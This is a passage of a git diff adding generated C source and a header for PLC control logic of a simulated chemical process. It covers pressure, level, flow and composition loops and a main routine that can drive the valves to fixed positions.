+ (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE99_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE99_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT2(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE4_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE4_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT3(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE5_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE5_ENO,,__TMP_ENO); + return __res; +} + +inline UINT __MAIN_MOVE__UINT__UINT4(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE7_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE7_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_VAR(data__->RUN_BIT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->MOVE99_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE99_OUT,0,retain) + __INIT_VAR(data__->MOVE4_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE4_OUT,0,retain) + __INIT_VAR(data__->MOVE5_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE5_OUT,0,retain) + __INIT_VAR(data__->MOVE7_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->,MOVE99_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->RUN_BIT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE99_ENO,)) { + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + 